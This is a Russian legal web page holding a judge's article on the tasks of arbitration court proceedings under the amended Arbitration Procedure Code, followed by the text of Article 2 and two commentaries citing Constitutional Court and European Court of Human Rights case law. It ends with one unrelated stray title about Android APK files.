Апк статья 2: Статья Судьи Арбитражного суда РСО-Алания Носенко М.С. «Проблемы реализации задач арбитражного судопроизводства на современном этапе развития законодательства» | Арбитражный суд Республики Северная Осетия

Статья Судьи Арбитражного суда РСО-Алания Носенко М.С. «Проблемы реализации задач арбитражного судопроизводства на современном этапе развития законодательства» | Арбитражный суд Республики Северная Осетия

Статья Судьи Арбитражного суда РСО-Алания Носенко М.С. «Проблемы реализации задач арбитражного судопроизводства на современном этапе развития законодательства»

Проблемы реализации задач арбитражного судопроизводства на современном этапе развития законодательства

 В статье анализируется влияние изменений, внесенных в Арбитражный процессуальный кодекс Российской Федерации в 2009-2010 гг. и направленных на достижение задач арбитражного судопроизводства при рассмотрении конкретных дел.
В свете темы нашей конференции хотелось бы остановиться на вопросе реализации задач арбитражного судопроизводства в современной практике арбитражных судов.
Российское арбитражное процессуальное законодательство за первые десять лет существования претерпело три этапа реформирования, что нашло отражение в трех кодексах, последней из которых ныне действующий АПК 2002 г. Эта область законодательства за десять лет совершила рывок вперед, результатом которого явилось создание современной модели судопроизводства в арбитражных судах.
Задачи судопроизводства в Арбитражных судах определены в ст. 5 Федерального конституционного закона «Об арбитражных судах в Российской Федерации» и в ст. 2 АПК РФ.
Арбитражные суды в соответствии со ст. 5 названного закона, разбирая споры, решают следующие задачи:
а) осуществляют защиту нарушенных или оспариваемых прав и законных интересов предприятий, учреждений, организаций и граждан в сфере предпринимательской и иной экономической деятельности;
б) содействуют укреплению законности и предупреждению правонарушений в сфере предпринимательской и иной экономической деятельности.
Статья 2 АПК РФ содержит более подробный перечень  задач судопроизводства в арбитражных судах
Актуальность данного вопроса обусловлена изменениями АПК последних лет (2009 — 2010 гг.), повлиявшими на законодательную модель арбитражного процесса. Следует согласиться с выводом, согласно которому: «внесенные изменения позволяют признать возможное наступление такого этапа развития арбитражного процессуального законодательства, на котором проявляются значимые отличия законодательной модели судопроизводства в арбитражных судах от порядка производства по гражданским делам по ГПК в судах общей юрисдикции. Большая процессуальная регламентация, большая процессуальная строгость правил при соответствующей специализации арбитражного суда и судей все больше приближают арбитражный процесс к профессиональному процессу, где для ведения гражданского дела от основных участников процесса требуются высокопрофессиональные юридические знания».
Представляется что, критериями  эффективности деятельности арбитражных судов являются не только практические результаты в достижении установленных  перед ними задач, но и заложенные  в законодательстве механизмы для их решения. В этой связи необходимо остановиться на каждой из задач судопроизводства в арбитражных судах в отдельности.
Следует признать, что основной задачей судопроизводства в арбитражных судах выступает защита нарушенных или оспариваемых прав и законных интересов лиц, осуществляющих предпринимательскую и иную экономическую деятельность, а также прав и законных интересов Российской Федерации, субъектов Российской Федерации, муниципальных образований в сфере предпринимательской и иной экономической деятельности, органов государственной власти Российской Федерации, органов государственной власти субъектов Российской Федерации, органов местного самоуправления, иных органов, должностных лиц в указанной сфере.
В силу ст. 4 Федерального конституционного закона от 28 апреля 1995 г. «Об арбитражных судах Российской Федерации» и ст. 1 АПК РФ арбитражные суды осуществляют правосудие путем разрешения экономических споров и иных дел, отнесенных законодательством к их компетенции.
Причем изменения последних лет, позволяют сделать вывод, не только о значительном расширении компетенции арбитражных судов путем указания в АПК конкретных категорий дел отнесенных к специальной компетенции арбитражных судов (ст. 33 АПК),  но и об изменении общих критериев разграничения компетенции между судами общей юрисдикции и арбитражными судами. Прослеживая тенденции изменения процессуального законодательства, следует отметить, что такой критерий отнесения дел к компетенции арбитражных судов как субъектный состав спора утрачивает свое значение. Решающее значение при определении подведомственности дела имеет экономический характер спора.
Подтверждением этому служит отнесение Законом № 205-ФЗ, именуемым антирейдерским, к ведению арбитражных судов корпоративных споров. Им внесены изменения в АПК и целый ряд федеральных законов, которыми комплексно устанавливается правовой механизм разрешения таких споров. Применение установленного для них порядка судопроизводства потребовало от законодателя нового подхода в установлении предмета ведения арбитражных судов.  Корпоративные споры отнесены к их специальной подведомственности, предусмотрена их исключительной подсудность, в арбитражном процессуальном законодательстве впервые закреплена категория «корпоративные споры».
Само по себе установление исключительной подсудности по делам о корпоративных спорах не способно решить проблему инициирования множества судебных разбирательств, направленных на смену корпоративного контроля одновременно в нескольких процессах в одном и том же суде. Для устранения этой проблемы Закон оговаривает правило об обязательном соединении в одно производство сходных требований.
Так, Арбитражным судом РСО-Алания при рассмотрении дел данной категории выявлены следующие проблемные и дискуссионные вопросы правового регулирования. Нередки случаи умышленного изменения местонахождения юридического лица с целью отнесения спора к подсудности другого арбитражного суда. Так, к производству нашего суда с соблюдением правил подсудности были приняты дела по спорам в отношении прав на участие в акционерном обществе, ранее зарегистрированном в г. Москве и там же осуществляющем сою деятельность. В ходе рассмотрения этих дел было выявлено, что аналогичные споры, но по другим основаниям рассматривались в Арбитражном суде г. Москвы до изменения местонахождения юридического лица. Таким образом, участниками гражданского оборота недобросовестно используется правило об исключительной подсудности корпоративных споров по месту регистрации юридического лица.
К сожалению, не все прогрессивные модели, которые содержались в первоначальной версии законопроекта, удалось воплотить в жизнь. В Законе не нашло отражения положение об объединении нескольких дел, если они приняты к производству в разных судах с соблюдением правил подведомственности и подсудности. В связи с этим манипулирование последними путем изменения места нахождения юридического лица так и не удалось окончательно предотвратить. В литературе высказано предложение решить эту проблему путем закрепления нормы о том, что изменения, вносимые в учредительные документы юридического лица, отражающие место его нахождения, вступают в силу после уведомления кредиторов и истечения определенного периода времени (например, 2 — 3 месяца), что, в общем, исключило бы ситуацию с искусственным бегством компаний из одного субъекта РФ в другой сообразно с тем, где в настоящий момент более удобно заявлять те или иные требования участникам корпоративного спора . Такое предложение заслуживает внимания и требует детальной проработки.
Другим примером расширения подведомственности арбитражных судов служат дела об оспаривании нормативных правовых актов, по которым новым  критерием определения судебной подведомственности установлена сфера правового регулирования. Области правового регулирования для оспаривания нормативных правовых актов в арбитражном суде названы в АПК (п. 1 ч. 1 ст. 29). Оспаривание в арбитражном суде нормативных правовых актов в иных сферах возможно лишь в случаях, предусмотренных федеральным законом. Кроме того, установлено, что такие дела подведомственны арбитражному суду, независимо от того, являются ли заявителями организации, индивидуальные предприниматели или граждане (ч. 2 ст. 29 АПК).
Это свидетельствует о масштабном перераспределении компетенции по делам об оспаривании нормативных правовых актов между арбитражными судами и судами общей юрисдикции в пользу первых.
Реализация такой задачи судопроизводства в арбитражных судах как защита нарушенных или оспариваемых прав и законных интересов  напрямую зависит от предусмотренных процессуальных механизмов для ее достижения.
Следует отметить, что изменения последних лет направлены на совершенствование производства в арбитражных судах. Изменения арбитражного процессуального законодательства проведены в различных направлениях, среди которых можно отметить установление специальных правил рассмотрения отдельных категорий дел в рамках искового производства. Так, в Кодекс были введены главы, предусматривающие порядки судопроизводства при рассмотрении дел по корпоративным спорам (гл. 28.1), дел о защите прав и интересов группы лиц (гл. 28.2).
Другое направление представляют собой изменения в процессуальное законодательство направленные на усиление роли и значимости арбитражного суда первой инстанции, усиление его процессуальной активности.
Свидетельством этому является расширение оснований для коллегиального рассмотрения дел составом судей в арбитражном суде первой инстанции. Дополнительно предусмотрено рассмотрение любого гражданского дела в первой инстанции арбитражного суда коллегиальным составом судей при условии, если решение о коллегиальном рассмотрении принято председателем судебного состава по мотивированному заявлению судьи (п. 5 ч. 2 ст. 17).
Названные новеллы привели к укреплению коллегиальности рассмотрения дел арбитражными судами первой инстанции.
Усилены возможности суда по организации арбитражного процесса, о чем, в частности, свидетельствует право суда устанавливать срок для совершения лицами, участвующими в деле, определенных процессуальных действий: представления отзыва на исковое заявление (ч. 3 ст. 131), раскрытия доказательств (ч. 3 ст. 65), представления дополнительных доказательств (ч. 2 ст. 66). Установление данных правомочий арбитражного суда должно способствовать сосредоточению доказательственного материала в суде первой инстанции, так как за неисполнение перечисленных действий на лиц судом может быть возложено несение судебных расходов независимо от результатов рассмотрения дела (ч. 4 ст. 131, ч. 5 ст. 65).
Получило дальнейшее развитие положение о том, что лица, участвующие в деле, несут риск наступления последствий совершения или несовершения ими тех или иных процессуальных действий (ч. 2 ст. 9). Несвоевременная подача заявления или ходатайства является основанием для отказа в их удовлетворении (ч. 4 ст. 159). Риск наступления неблагоприятных последствий в связи с новыми правилами извещения несут лица, участвующие в деле, и в результате непринятия мер по получению информации о движении дела, если суд располагает информацией о том, что указанные лица были надлежащим образом извещены о начавшемся процессе (ч. 6 ст. 121). Однако такой риск может быть сопряжен с опасностью лишения права на участие в состязательном процессе.
Установлены новые правила регулирования доказательственной деятельности в арбитражном суде.  В АПК проводится идея о необходимости занятия стороной активной позиции в доказывании по делу. В частности, в отзыве на исковое заявление ответчик должен  указать возражения относительно каждого довода, касающегося существа заявленных требований, со ссылкой на законы и иные нормативные правовые акты, а также на доказательства, обосновывающие возражения (ст. 131). Отсутствие таких возражений может повлиять на разрешение дела по существу не в пользу ответчика. Согласно новым положениям «обстоятельства, на которые ссылается сторона в обоснование своих требований или возражений, считаются признанными другой стороной, если они ею прямо не оспорены, или несогласие с такими обстоятельствами не вытекает из иных доказательств, обосновывающих представленные возражения относительно существа заявленных требований» (ч. 3.1 ст. 70).
Следующей задачей судопроизводства в арбитражных судах названо обеспечение доступности правосудия в сфере предпринимательской и иной экономической деятельности.
Значительное число нововведений в АПК РФ направлены на достижение именно этой задачи. Доступность правосудия в арбитражных судах обеспечивается ориентированностью судопроизводства на современные информационные технологии. Это касается возможности представлять в арбитражный суд документы в электронном виде (ч. 1 ст. 41), возможности участия в судебном заседании путем использования систем видеоконференцсвязи (ст. 153.1).
Участвующие в деле лица наделены правом заполнять формы документов, размещенных на официальном сайте арбитражного суда в сети Интернет (процессуальных документов, подачей которых инициируется производство в арбитражном суде первой инстанции и производство в последующих инстанциях, а также соответствующих отзывов).
Арбитражный суд РСО-Алания рассмотрел значительное число ходатайств  от судов первой инстанции апелляционных судов и арбитражных судов округов о проведении судебного заседания путем использования систем видеоконференцсвязи, участники споров, рассматриваемых Арбитражным судом РСО-Алания так же активно используют свое право участвовать в судебном заседании путем использования систем видеоконференцсвязи.
Впервые определенные АПК правила информационно-обеспечительного характера судебной деятельности по корпоративным спорам, обязывающие арбитражный суд разместить на своем официальном сайте в сети Интернет информацию о принятии соответствующих судебных актов (ч. 1 ст. 225.4), получили дальнейшее развитие в отношении всех категорий рассматриваемых арбитражном судом дел, тем самым существенно изменив порядок извещения лиц, участвующих в деле (ст. ст. 121 — 123).
Существенные особенности закреплены применительно к процедуре судебного извещения по корпоративным спорам.
Обеспечение акционеров информацией о корпоративном споре следует назвать ключевой идеей Закона. Данное новшество позволяет акционеру своевременно узнать и активно участвовать в рассмотрении затрагивающего его интересы корпоративного спора, а также проявлять свою волю и использовать свои ресурсы для обеспечения своих интересов в вопросе защиты принадлежащей ему собственности.
Согласно ч. 1. ст. 225.4 АПК РФ Арбитражный суд, рассматривающий дело по корпоративному спору, размещает на своем официальном сайте в сети Интернет всю информацию о деле.
В определении о принятии искового заявления (заявления) к производству арбитражный суд может указать на обязанность юридического лица уведомить о возбуждении производства по делу, предмете и об основании заявленного в арбитражный суд требования, об иных обстоятельствах спора участников этого юридического лица, лиц, входящих в его органы управления и органы контроля, а также держателя реестра владельцев ценных бумаг этого юридического лица и (или) депозитария. В случае неисполнения указанной обязанности на лицо, осуществляющее функции единоличного исполнительного органа или возглавляющее коллегиальный исполнительный орган юридического лица, арбитражным судом может быть наложен судебный штраф. Расходы юридического лица на уведомление о корпоративном споре включены в судебные издержки (новая редакция ст. 106 АПК РФ). Эффективность данной нормы можно продемонстрировать на следующем примере. Так, Арбитражный суд РСО-Алания, рассматривая дело по иску акционера к ЗАО о признании недействительным решения общего собрания, привлек в качестве третьих лиц, не заявляющих самостоятельные требования относительно предмета спора 156 акционеров данного общества. По другому делу по иску трех акционеров данного ЗАО Арбитражный суд в определении о принятии обязал ответчика уведомить о возбуждении производства по делу, предмете и об основании заявленного в арбитражный суд требования, об иных обстоятельствах спора участников этого юридического лица, что привело к значительной процессуальной экономии.
Однако применение данной нормы вызывает ряд вопросов. В частности, могут ли участники юридического лица, в отношении которых в материалы дела представлены доказательства об их извещении о возбуждении производства по делу, предмете и об основании заявленного в арбитражный суд требования, об иных обстоятельствах спора, обжаловать решение в соответствии со ст. 42 АПК РФ как лица, не участвовавшие в деле, о правах и об обязанностях которых арбитражный суд принял судебный акт? Представляется, что жалоба такого лица не может служит основанием для отмены судебного акта по делу, так как он знал о процессе и мог вступить в дело в суде первой инстанции.
Следующей задачей судопроизводства в арбитражных судах ст. 2 АПК называет справедливое публичное судебное разбирательство в разумный срок независимым и беспристрастным судом.
Гарантией этого выступает положение ст. 4 АПК РФ: «Заинтересованное лицо вправе обратиться в арбитражный суд за защитой своих нарушенных или оспариваемых прав и законных интересов, в том числе с требованием о присуждении ему компенсации за нарушение права на судопроизводство в разумный срок или права на исполнение судебного акта в разумный срок, в порядке, установленном настоящим Кодексом». В статье 6.1 АПК РФ определены основные параметры разумных сроков судопроизводства в арбитражных судах и исполнения судебного акта; гл. 27.1 АПК РФ имеет наименование «Рассмотрение дел о присуждении компенсации за нарушение права на судопроизводство в разумный срок или права на исполнение судебного акта в разумный срок»
Принятие данных изменений обусловлено исполнением обязательств, вытекающих из участия в Европейской конвенции о защите прав человека и основных свобод, и признание юрисдикции Европейского суда по правам человека, которые потребовали от российского законодателя обратить внимание на сроки судебного разбирательства, гарантируя в том числе право на судопроизводство в судах общей юрисдикции и арбитражных судах по гражданским делам, право на судопроизводство в разумный срок и право на исполнение судебного акта в разумный срок, нарушение которых является основанием для присуждения компенсации.
Не менее значимой для арбитражного судопроизводства является задача укрепления законности и предупреждения правонарушений в сфере предпринимательской и иной экономической деятельности.
Законом не установлены конкретные формы взаимодействия арбитражного суда с правоохранительными органами, нет к сожалению, в АПК института частного определения. Представляется, что соответствовать предусмотренным в ст. 2 АПК задачам судопроизводства в арбитражных судах будет уведомление арбитражным судом правоохранительных органов о подтвердившихся в порядке арбитражного судопроизводства заявлениях о фальсификации доказательств. Представляется необходимым, принятие соответствующих специальных законов, направленных на регулирование такого взаимодействия судов и арбитражных судов с правоохранительными органами, что позволит обеспечить оперативность и полноту предоставления органам прокуратуры и внутренних дел сведений о фактах представления в суды фальсифицированных доказательств, а так же использовать арбитражными судами результатов проведенных правоохранительными органами по сообщениям судов оперативно-розыскных мероприятий, проверок, следственных действий с целью подтверждения либо опровержения ранее сделанного судом вывода о фальсификации доказательств по делу.
Завершает перечень задач арбитражного процесса содействие становлению и развитию партнерских деловых отношений, формированию обычаев и этики делового оборота.
Основной обязанностью суда является защита прав и охраняемых законом интересов путем осуществления правосудия, а примирение лишь дополняет эту основную обязанность, с другой стороны, суд в процессе подготовки обязан реализовать все возможности по примирению сторон (ст. 133, 138 АПК). Эти задачи не противостоят друг другу, хотя и приводят к разным результатам.
В АПК и ГПК внесены изменения, направленные на процессуальную адаптацию новой внесудебной процедуры медиации — процедуры урегулирования споров с участием посредника-медиатора, когда она проводится по спорам, ставшим предметом рассмотрения в порядке гражданского судопроизводства. По АПК такая процедура относится к примирительным процедурам, с использованием которой стороны могут урегулировать внесенный на рассмотрение суда спор (ч. 2 ст. 138), допускается возможность реализации сторонами права на обращение за содействием к медиатору на любой стадии арбитражного процесса (п. 2 ч. 1 ст. 135), в случае их обращения и по их ходатайству предусматривается отложение судебного разбирательства (ч. 2 ст. 158).
Введение института медиации в российское законодательство имеет целью разгрузить государственные компетентные суда посредством применения для разрешения гражданских споров несудебных процедур.
Следует признать, что законодательные нововведения содержательно откорректировали начала арбитражного процесса, обновили правила судопроизводства в арбитражных судах. Вместе с тем проявляются коллизии процессуальных норм, просматриваются проблемы в части обеспечения защиты процессуальными гарантиями.

Статья 2 АПК РФ и комментарии к ней

Задачами судопроизводства в арбитражных судах являются:
1) защита нарушенных или оспариваемых прав и законных интересов лиц, осуществляющих предпринимательскую и иную экономическую деятельность, а также прав и законных интересов Российской Федерации, субъектов Российской Федерации, муниципальных образований в сфере предпринимательской и иной экономической деятельности, органов государственной власти Российской Федерации, органов государственной власти субъектов Российской Федерации, органов местного самоуправления, иных органов, должностных лиц в указанной сфере;
2) обеспечение доступности правосудия в сфере предпринимательской и иной экономической деятельности;
3) справедливое публичное судебное разбирательство в разумный срок независимым и беспристрастным судом ;
4) укрепление законности и предупреждение правонарушений в сфере предпринимательской и иной экономической деятельности;
5) формирование уважительного отношения к закону и суду;
6) содействие становлению и развитию партнерских деловых отношений, формированию обычаев и этики делового оборота.

Комментарий к статье 2 АПК РФ

1. Конституционное право на судебную защиту получило свою нормативную конкретизацию в том числе в арбитражном процессуальном законодательстве, которое, согласно ст. 2 АПК РФ, относит к задачам судопроизводства в арбитражных судах защиту нарушенных или оспариваемых прав и законных интересов лиц, осуществляющих предпринимательскую и иную экономическую деятельность, что предполагает как саму возможность обращения заинтересованного лица в порядке, установленном арбитражным процессуальным законодательством, в суд за защитой прав, свобод и законных интересов, так и возбуждение дела судом по заявлению лица, обратившегося за защитой своих прав, свобод и законных интересов.

См., например: п. 3 Определения КС РФ от 12.07.2006 N 182-О «По жалобам гражданина Каплина Александра Евгеньевича, открытого акционерного общества «Кузбассэнерго», общества с ограниченной ответственностью «Деловой центр «Гагаринский» и закрытого акционерного общества «Инновационно-финансовый центр «Гагаринский» на нарушение конституционных прав и свобод положениями пункта 1 части 1 статьи 150, статьи 192 и части 5 статьи 195 Арбитражного процессуального кодекса Российской Федерации».

2. Положения Налогового кодекса РФ, которые закрепляют право арбитражного суда исходя из имущественного положения плательщика уменьшить размер государственной пошлины, подлежащей уплате по делам, рассматриваемым указанными судами, либо отсрочить (рассрочить) ее уплату, корреспондируют с п. 2 ст. 2 АПК РФ, согласно которому обеспечение доступности правосудия в сфере предпринимательской и иной экономической деятельности является одной из задач судопроизводства в арбитражных судах.

В связи с этим положения бюджетного законодательства, устанавливающие лимиты предоставления налоговых кредитов, рассрочек и отсрочек уплаты федеральных налогов и сборов, не распространяются на случаи предоставления судами рассрочек и отсрочек уплаты государственной пошлины по рассматриваемым ими делам.

См., например: Определение КС РФ от 07.10.2005 N 340-О «По запросу Высшего Арбитражного Суда Российской Федерации о проверке конституционности положений статей 6 и 8 Федерального закона «О федеральном бюджете на 2005 год» и статьи 2 Федерального закона «О бюджетной классификации Российской Федерации».

3. Право на справедливое судебное разбирательство, закрепленное в ст. 6 Конвенции о защите прав человека и основных свобод, Европейский суд по правам человека рассматривает как фундаментальное положение, лежащее в основе защиты интересов сторон и надлежащего отправления правосудия в демократическом обществе. В данном положении находит свое выражение основополагающий принцип верховенства права (Delcourt v. Belgium, § 25; Martinie v. France, § 39; Ziegler v. Switzerland, § 39; Sunday Times v. United Kingdom, § 55; Р. Бирюков против России).

В Российской Федерации права и свободы человека и гражданина обеспечиваются правосудием, которое осуществляется только судом как носителем судебной власти.

См., например: п. 3 Постановления КС РФ от 26.12.2005 N 14-П «По делу о проверке конституционности отдельных положений статьи 260 Гражданского процессуального кодекса Российской Федерации в связи с жалобой гражданина Е.Г. Одиянкова».

Принцип правовой определенности, являющийся одним из основополагающих элементов верховенства права и права на справедливое судебное разбирательство, предполагает стабильность правового регулирования и исполнимость вынесенных судебных решений. Поэтому при установлении оснований для обжалования и пересмотра вступивших в законную силу судебных актов, сроков, в пределах которых допускается такое обжалование, а также при определении судебных инстанций, которые правомочны рассматривать соответствующие жалобы (представления), законодателю — в силу указанного принципа — надлежит исходить из того, что участники гражданских правоотношений должны иметь возможность в разумных пределах предвидеть последствия своего поведения и быть уверенными в неизменности своего официально признанного статуса, приобретенных прав и обязанностей.

В понимании Европейского суда по правам человека принцип правовой определенности предполагает, что ни одна из сторон не может требовать пересмотра окончательного и вступившего в законную силу постановления только в целях проведения повторного слушания и получения нового постановления; одна лишь возможность наличия двух точек зрения по одному и тому же вопросу не может являться основанием для пересмотра (п. 52 Постановления от 24.07.2003 по делу «Рябых против России»).

См., например: Постановление КС РФ от 05.02.2007 N 2-П «По делу о проверке конституционности положений статей 16, 20, 112, 336, 376, 377, 380, 381, 382, 383, 387, 388 и 389 Гражданского процессуального кодекса Российской Федерации в связи с запросом Кабинета Министров Республики Татарстан, жалобами открытых акционерных обществ «Нижнекамскнефтехим» и «Хакасэнерго», а также жалобами ряда граждан».

4. Укрепление законности как задача судопроизводства в арбитражных судах обеспечивается в том числе институтом обжалования (оспаривания) судебных актов; судебные акты подлежат отмене в случае, если они были приняты с нарушением закона, а также если они препятствуют формированию законной единообразной практики арбитражных судов.

См., например: Определения КС РФ от 19.03.2009 N 297-О-О «Об отказе в принятии к рассмотрению жалобы общества с ограниченной ответственностью «Просперити» на нарушение конституционных прав и свобод положениями статей 6, 13 и 170 Арбитражного процессуального кодекса Российской Федерации, а также положениями статей 11, 27 и 251 Гражданского процессуального кодекса Российской Федерации»; от 20. 06.2006 N 214-О «Об отказе в принятии к рассмотрению жалобы общества с ограниченной ответственностью «Научно-внедренческая фирма «АТП-пахарь» на нарушение конституционных прав и свобод положением статьи 304 Арбитражного процессуального кодекса Российской Федерации».

Другой комментарий к статье 2 Арбитражного Процессуального Кодекса РФ

1. Задачи судопроизводства в арбитражном процессе определяются целями судебной деятельности исходя из Конституции РФ, ФКЗ и международных обязательств нашего государства. По сравнению с задачами правосудия, определенными в ст. 5 ФКЗ об арбитражных судах, в данной статье круг задач существенно расширен. В конечном счете, все задачи направлены на обеспечение судебной защиты как конечной цели правосудия и результата функционирования судебной системы. Это логично вытекает из ст. 18 Конституции РФ, где правосудие названо как условие, обеспечивающее непосредственное действие прав и свобод человека и гражданина.

Большинство задач судопроизводства носит традиционный характер, поскольку они так или иначе отражались в арбитражном процессуальном законодательстве. Новыми по существу являются вторая и третья задачи, поскольку они вытекают из международных обязательств РФ. Акцент на них стал делаться после вступления РФ в Совет Европы. Последние изменения в п. 3 настоящей статьи, связанные с введением категории «разумного срока» (ФЗ от 30.04.2010 N 69-ФЗ «О внесении изменений в отдельные законодательные акты РФ в связи с принятием ФЗ «О компенсации за нарушение права на судопроизводство в разумный срок или права на исполнение судебного акта в разумный срок» (далее — ФЗ N 69-ФЗ)), отражают стремление к соотнесению российского арбитражного процессуального законодательства с Европейской конвенцией о защите прав человека и основных свобод п. 1 ст. 6 (далее — Европейская конвенция о правах человека) и практикой Европейского суда по правам человека (далее — ЕСПЧ).

2. Право на справедливое судебное разбирательство включает в себя множество элементов, одним из которых и имеющим существенное значение является доступ к правосудию. Доступ к правосудию означает необходимость для государств, подписавших Европейскую конвенцию о правах человека, обеспечить в национальном законодательстве соответствующие условия для этого. В целом ряде решений Европейского суда по правам человека, в частности «Эрикссон против Швеции», «Пудас против Швеции», «Голдер против Соединенного Королевства» (Решение от 21.02.1975), данное положение подтверждено на примере разбирательства конкретных дел.

В качестве одного из примеров — ориентиров для совершенствования системы доступа к правосудию, в том числе и в арбитражном процессе, можно отметить также Рекомендации Комитета министров Совета Европы от 14.05.1981 N R(81)7 «Комитет министров государствам-членам относительно путей облегчения доступа к правосудию», в которых правительствам государств-членов предложены меры для принятия или усиления, в зависимости от обстоятельств, которые они сочтут необходимыми, с целью постепенной реализации принципов, изложенных в приложении к указанным Рекомендациям. В Рекомендациях выделяется пять групп мер: информирование общественности; упрощение; ускорение разбирательства; судебные издержки; особые процедуры. Имеется также Гаагская конвенция о международном доступе к правосудию 1980 г. , но РФ не присоединилась к ней.

3. Доступ к правосудию актуален в сфере арбитражного процесса по ряду причин. В арбитражные суды за судебной защитой обращаются граждане, имеющие статус предпринимателей, представители так называемого малого бизнеса, т.е. небольшие коммерческие организации, являющиеся экономически слабой стороной <1>. Им достаточно сложно вести дело в суде, когда другой стороной является государство, поскольку многие государственные органы освобождены от уплаты государственной пошлины и располагают специальными штатами юристов, защищающих интересы государства, либо вести дело против крупных коммерческих организаций.

———————————
<1> Проблема защиты экономически слабой стороны рассматривается и в гражданском праве. См., например: Яковлев В.Ф. Гражданский кодекс и государство // Гражданский кодекс России. Проблемы. Теория. Практика. М., 1998. С. 65 — 66.

При этом доступность правосудия и других форм юридической помощи нельзя сводить только к вопросам финансирования. Проблема заключается также в недостаточном развитии общественных институтов, способствующих защите малоимущих лиц и лиц, оказавшихся в сложной жизненной ситуации вследствие состояния здоровья, возраста и т.д.

Поэтому включение непосредственно в текст ст. 2 АПК положений об обеспечении права на справедливое судебное разбирательство и доступе к правосудию позитивно. Вступление РФ в Совет Европы и признание юрисдикции ЕСПЧ обязывают нашу страну к обеспечению определенных стандартов доступа к правосудию <1>. Следует подчеркнуть, что одномоментное восприятие в российском законодательстве стандартов и правил Европейской конвенции по правам человека вряд ли возможно, да и нет в этом особой необходимости. Практика ЕСПЧ показательна и отражает существующие реалии в функционировании механизма судебной защиты в странах-членах Совета Европы, которые не всегда позитивны. Вряд ли в России следует воспроизводить, например, такие «образцы», как крайне дорогую для «потребителей юридических услуг» систему представительства, существующую в Великобритании, использовать опыт Италии — чемпиона Европы по продолжительности судебных процессов и вообще по судебной волоките и т. д. (система правосудия в европейских странах подвергается критике самими специалистами из указанных стран <2>. В данном случае недопустим разрыв между юридически провозглашенными стандартами правосудия и реальными возможностями осуществления их на практике. В противном случае идея правосудия будет дискредитирована. Главное заключается в постепенном движении законодательства, практики его применения и самой судебной системы к пониманию необходимости обеспечения доступа к правосудию <3>.

———————————
<1> См., например, судебную практику Европейского суда по правам человека: Гомьен Д., Харрис Д., Зваак Л. Европейская конвенция о правах человека и Европейская социальная хартия: право и практика. М., 1998. С. 201 — 259; Де Сальвиа М. Прецеденты Европейского суда по правам человека. СПб., 2004. С. 277 — 476.
<2> См., например: Обзор Procedural Law on the Threshold of a New Millennium. General reports. Vien, 1999. P. 39 — 75.
<3> См. для примера анализ основной проблематики гражданского судопроизводства в нашей стране: Оптимизация гражданского судопроизводства России / Под ред. В.В. Яркова. М.: Волтерс Клувер, 2007.

4. Указанные в комментируемой статье задачи судопроизводства осуществляются арбитражными судами присущими им, как и другим органам судебной власти, способами и с помощью полномочий, указанных в арбитражном процессуальном законодательстве. Так, арбитражные суды субъектов РФ разрешают подведомственные им дела по первой инстанции, арбитражные апелляционные суды — в рамках апелляционного производства, а федеральные арбитражные суды округов осуществляют в кассационном порядке проверку законности решений и постановлений, принятых арбитражными судами субъектов РФ в первой и апелляционной инстанциях. ВАС РФ выполняет также целый ряд полномочий, осуществляя, прежде всего, в соответствующей процессуальной форме судебный надзор за деятельностью арбитражных судов.

5. Следует обратить внимание, что ст. 2 АПК имеет не только политико-правовое и программное значение. Не менее значим прикладной потенциал данной статьи, поскольку при возникновении необходимости разрешения технических противоречий между нормами АПК, нормами АПК и другими ФЗ, содержащими нормы арбитражного процессуального законодательства, разрешение таких конфликтов и противоречий возможно исходя из ст. 2 АПК, поскольку задачи судопроизводства отражают необходимость защиты нарушенных или оспариваемых прав и законных интересов, имея в виду прежде всего эффективность и результативность такой судебной защиты.

В этом плане в п. 2 Постановления КС РФ от 21.01.2010 N 1-П «По делу о проверке конституционности положений части 4 статьи 170, пункта 1 статьи 311 и части 1 статьи 312 АПК РФ в связи с жалобами закрытого акционерного общества «Производственное объединение «Берег», открытых акционерных обществ «Карболит», «Завод «Микропровод» и «Научно-производственное предприятие «Респиратор» обращено внимание на следующее. Конституция РФ гарантирует каждому судебную защиту его прав и свобод (ч. 1 ст. 46). По смыслу ст. ст. 1 (ч. 1), 2, 4 (ч. 2), 15, 17, 18, 19 и 118 (ч. 1) Конституции РФ, право каждого на судебную защиту относится к основным неотчуждаемым правам и свободам человека и одновременно выступает гарантией всех других прав и свобод, а правосудие по своей сути может признаваться таковым, только если оно отвечает требованиям справедливости и обеспечивает эффективное восстановление в правах.

Например, по групповым искам, предусмотренным гл. 28.2 АПК, возможно использование правил альтернативной подсудности, за исключением групповых корпоративных исков, что противоречит самой концепции группового иска. В этой связи предлагалось, исходя именно из толкования ст. 2 АПК, толковать данное правило ограничительно, поскольку судопроизводство в арбитражных судах направлено на защиту прав и интересов граждан и должно обеспечивать в силу ст. 17 Конституции и ст. 7 АПК равенство граждан перед законом и судом, чего не будет происходить при рассмотрении альтернативных групповых исков в отношении одного и того же ответчика в разных судах <1>.

———————————
<1> См.: Ярков В.В. Революция в арбитражном процессе: что групповой иск грядущий нам готовит? // Вестник ФАС МО. 2009. N 1. С. 111.

Другой пример — толкование вопроса о том, применимы ли положения ч. 1 ст. 43 ФЗ от 02.10.2007 N 229-ФЗ «Об исполнительном производстве» (далее — ФЗИП) о прекращении исполнительного производства в случае, если долг уплачен в добровольном порядке, а исполнительный лист предъявлен взыскателем в банк, минуя судебного пристава-исполнителя? С формальной точки зрения можно сказать, что прямо такой ситуации и подобного основания ФЗИП не предусматривает. Однако в рассматриваемой ситуации у банка или иной кредитной организации отсутствуют полномочия по окончанию, приостановлению и прекращению приведения в принудительное исполнение судебного акта, поскольку банк совершает лишь действия по списанию денежных средств со счета должника. Соответственно, единственным органом, который наделен властными полномочиями в возникших правоотношениях и вправе принимать процессуально значимые решения, является арбитражный суд. Данный вывод вполне согласуется с задачами судопроизводства в арбитражных судах, указанными в ст. 2 АПК <1>.

———————————
<1> Рекомендации по применению отдельных норм АПК РФ // НКС при Арбитражном суде Свердловской области от 11.06.2010.

Таким образом, оценка технических противоречий и пробелов в процессуальном праве, исходя из задач судопроизводства в арбитражных судах, позволяет найти оптимальное решение подобных вопросов, обеспечивая не формальное, а содержательное применение права, направленное на достижение целей правосудия. Ведь сугубо формальное применение правил АПК в условиях коллизий и противоречий между различными нормами без учета задач судопроизводства может привести к вынесению заведомо неисполнимого решения, нарушению прав российских и иностранных лиц.

Как загрузить любой APK на Chromecast с помощью Google TV

